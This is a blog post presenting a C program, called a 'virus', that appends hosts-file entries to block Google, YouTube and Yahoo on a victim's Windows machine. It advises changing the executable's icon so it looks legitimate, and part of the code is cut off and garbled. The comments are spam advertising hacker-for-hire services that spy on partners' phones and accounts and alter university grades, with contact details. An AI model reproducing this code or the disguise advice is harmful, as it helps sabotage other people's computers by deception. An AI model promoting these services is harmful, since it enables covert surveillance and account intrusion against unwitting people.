Sharing is Caring.

Share on Facebook Share on Twitter
Related Posts with Thumbnails

A Virus Program to Block Websites


Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

Here is the sourcecode of the virus.

#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)>

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1—————————google.com

5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?

11 Response to A Virus Program to Block Websites


  1. Even though i have discourage my friends severally about hiring a private investigator to catch their cheating partners,
    i resorted to hiring one during my divorce. My husband hid his affair too well and i had no evidence to prove his infidelity
    to the court so i had to go back to my friend who am grateful didn’t listen to me back then to refer me to the hacker she
    is working with and i told him my problem. His service are topnotch which made working with him very easy,he got me everything
    i needed withing 24 hours and it was amazing, i paid upfront cause the trust was already there and i got great results because
    i currently have my husband’s messages diverted to my phone, call logs, Facebook messenger, WhatsApp,instant chat,Viber, Skype,
    password, retrieved all his deleted messages.The best part about his service is that you do not need any physical access or
    installation to the phone you wish to hack, so it was all hell break loose for my husband when i presented the evidence in court
    and i got everything i deserve. you can contact him for help him via call or text him +1860-971-0435 WhatsApp,
    call or text +1214-810-3457
    You can also contact him via his mail donarldjacksoncyberhost@gmail.com
    Tell him Hillary refer you.

  2. Life is not a bed of roses and there is no relationship with a smooth ride. Nevertheless you need to check mate the acts, attitude and the kind of love your partner got for you. You can hardly get to know all of the actions of your partner until you give it a shot to try to know if truly your partner is faithful or not.
    I noticed some strange attitude in the behavior of my man which is awkward and I’ve never got such feeling about him. I confronted him and all my pestering to get to know the fact about the strange behavior he puts up these days to no avail.
    This got me really worried as he keeps his phone  and at night he hides the phone discretely which got me suspicious and moody all day long. I spoke with a friend and she introduced me to an IT specialist ( brownrobinsongreathacker (@) GmaIL, C o m ) who helped me tap into his phone, he recovered all of his recent and deleted files ranging from text messages, call logs, pictures, videos and many more. I got all details of the pictures they took on their dates, location of several places they’ve been to and lot more. I got depressed and dismay, I never believed he could cheat on me despite all we’ve been through over the years and how I’ve showed him love as well as being faithful.
    The concrete evidence I got helped me through our divorce, getting to know the truth restored my happiness and rest of mind.
    If you need similar breakthrough from shackles of love and get the peace of mind you deserve, you can text, call or WhatsApp +13467107593 brownrobinsongreathacker on
    Email - brownrobinsongreathacker@gmail.com
    Khloe

  3. my girlfriend was very smart at hiding her infidelity from me due to some selfish reasons. So i had
    no proof for weeks while hurting myself during this process. Luckily i was refered to this private
    investigator which the result was awesome and top nptch.All my girlfriend's dirty chats, facebook, whatsapp,
    instagram, and even phone conversation was directed to my cell phone, if your girlfriend, boyfriend, wife
    or husband are expert at hiding his or her cheating adventures contact this fast and trusted link.
    donarldjacksoncyberhost@gmail.com or +1214-810-3457 on whatsAPP, call or text +1860-871-0435

  4. Grace Joe says:

    i've had the feeling for a while that my husband was sneaking behind my back so i contacted this hacker i met online a couple of weeks ago. he helped me gain access to his text messages, calls and mails. he is very reliable and his prices are quite fair. I just want to say a very BIG thank you to him and you definitely should contact him if you require hacking services. contact - brownrobinsongreathacker@gmail.com ot text +1(346)710-7593

  5. I was not paid to do this, But I did promise him to give him testimony on posting as many pages as possible. It was absolutely amazing when my neighbor Garcia helped me hire a trusted hacker Mr Robinson Best spy [brownrobinsongreathacker@GMAIL COM] who helped me gain access to my wife Facebook account and monitor her call logs, you can also count on him with any form of hacking services such as; IG, viber, text messages,iMessage,i cloud Skype, whats-app,pay-pal and so on...contact the best.
    You can also contact him via call, text or WhatsApp +1(346)710-7593

  6. I have been worried about my wife movement and activities as I suspected

    that she was cheating on me. I had no one to talk to than my best friend

    who I never knew had experienced such too. He told me he had hired this hacker
    markpowelcyberghost@gmail.com

    So I decided to hire him and he was able to hack my wife phone without her even knowing it .
    You can also contact him via call, text,or WhatsApp +16193671793
    Mark Williams
    Thanks

  7. A true hacker which i read about him online and a lot of people keep rating him and given testimony about him.He handle my job professionally .Now I'm giving this testimony from my first result which i wouldn't have got without his help,i promise to appreciate his job status to the wold for the great help he did to me.contact him on his email for more info about any hacking related job today. 
    brownrobinsongreathacker@gmail.com
    Call,text or WhatsApp +1(346)710-7593

  8. Sharon says:

    I got access to my husband’s mobile phone through the help of Mr Robinson . He helped me in Hacking my husband’s iPhone and i got all his text messages, call details, WhatsApp details, Facebook messenger. I’m so sad he is cheating on me. I’m sending all evidence to my lawyer.
    Contact him via his mail - brownrobinsongreathacker@gmail.com
    Call, text or WhatsApp +1(346) 710-7593

  9. Hello, if you even require a legit hacker to help monitor any cell phone remotely, contact deadlyhacker01@gmail.com or whatsapp: +1 3478577580
    They're very reliable.


  10. My boyfriend was a cheat and heartless human keeping secrets from me was his number one priority and aim
    But he has been of great help to me i got his whatsapp and facebook messages on my phone but past and present
    his gmail account, FB messenger and his entire Text messages.
    I'm happy markpowelcyberghost@gmail.com, been able to help you can also get in touch WITH HIM VIA call, text, or WhatsApp+1619-367-1793 Tell him Racheal refer you.

  11. CONTACT: onlineghosthacker247 @gmail. com
    -Find Out If Your Husband/Wife or Boyfriend/Girlfriend Is Cheating On You
    -Let them Help You Hack Any Website Or Database
    -Hack Into Any University Portal; To Change Your Grades Or Upgrade Any Personal Information/Examination Questions
    -Hack Email; Mobile Phones; Whatsapp; Text Messages; Call Logs; Facebook And Other Social Media Accounts
    -And All Related Services
    - let them help you in recovery any lost fund scam from you
    onlineghosthacker Will Get The Job Done For You
    onlineghosthacker247 @gmail. com
    TESTED AND TRUSTED!

Post a Comment

Interesting Site

Related Posts with Thumbnails
Related Posts with Thumbnails

Display Newer Trick on Facebook